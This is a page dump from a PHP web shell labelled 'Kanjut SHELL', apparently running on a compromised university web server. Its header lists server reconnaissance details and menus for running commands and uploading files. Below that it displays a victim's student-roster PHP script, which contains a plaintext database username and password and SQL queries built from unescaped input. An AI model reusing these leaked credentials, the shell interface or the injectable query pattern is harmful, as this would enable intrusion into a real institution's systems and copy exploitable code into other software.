Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.226.17.251
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cngray/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cngray/www/BBRemove.phpu
<?php
        session_start();
        if(!isset($_SESSION['username'])){
                header("location:BBWelcome.php");
        } else {
?>

<html>
<center>
<?php
	

	$username = $_SESSION['username'];
        $pass = $_SESSION['pass'];
        $check = $_SESSION['check'];
        $pro = $_SESSION['pro']; 
        $cls = $_SESSION['class'];
	$students = $_SESSION['students'];
        $_SESSION['username'] = $username;
        $_SESSION['pass'] = $pass;
        $_SESSION['check'] = 1;
	$_SESSION['class'] = $cls;
        $host = 'localhost';
        $user = 'cngray';
        $passwd = 'vwccscngray';
                                        
        $database = 'cngray';
        $connect = mysql_connect($host, $user, $passwd);   
        mysql_select_db($database);


	$class = str_replace(' ', '', $cls);
        $Cquery = "select Student from $class";
        $CResult = mysql_query($Cquery, $connect);
        if($CResult)
       	{
		$i = 0;
        	$stu = array();
        	while($row = mysql_fetch_row($CResult))
        	{
        		foreach($row as $field)
                	{
                		$stu[$i] = $field;
                        	$i++;
                	}
        	}
	}else
		print "Fail to get students";
	
		for($a = 0; $a < count($stu); $a++)
			print "$stu[$a]<br>";	
		print_r($students);
		if(empty($students))
			print "<br>Return to page and select a student.<br>";
		else
		{
			$names = array();
			foreach((array)$students as $a)
			{
				$name = $stu[$a];
				print "$name<br>";
				
				$Rquery = "delete from $class where Student like '$name'";
				print "$Rquery<br>";
				$Rresult = mysql_query($Rquery, $connect);
				if($Rresult)
					print "<br>$name removed from Class.<br>";
				else
					print "<br>$name not removed fromm class<br>";
			}
		}
	?>
	<br><INPUT Type=button VALUE="Back" onClick="location.href = 'BBAR.php'">
        <?php

	mysql_close($connect);
}
?>

Stv3n404 - 2023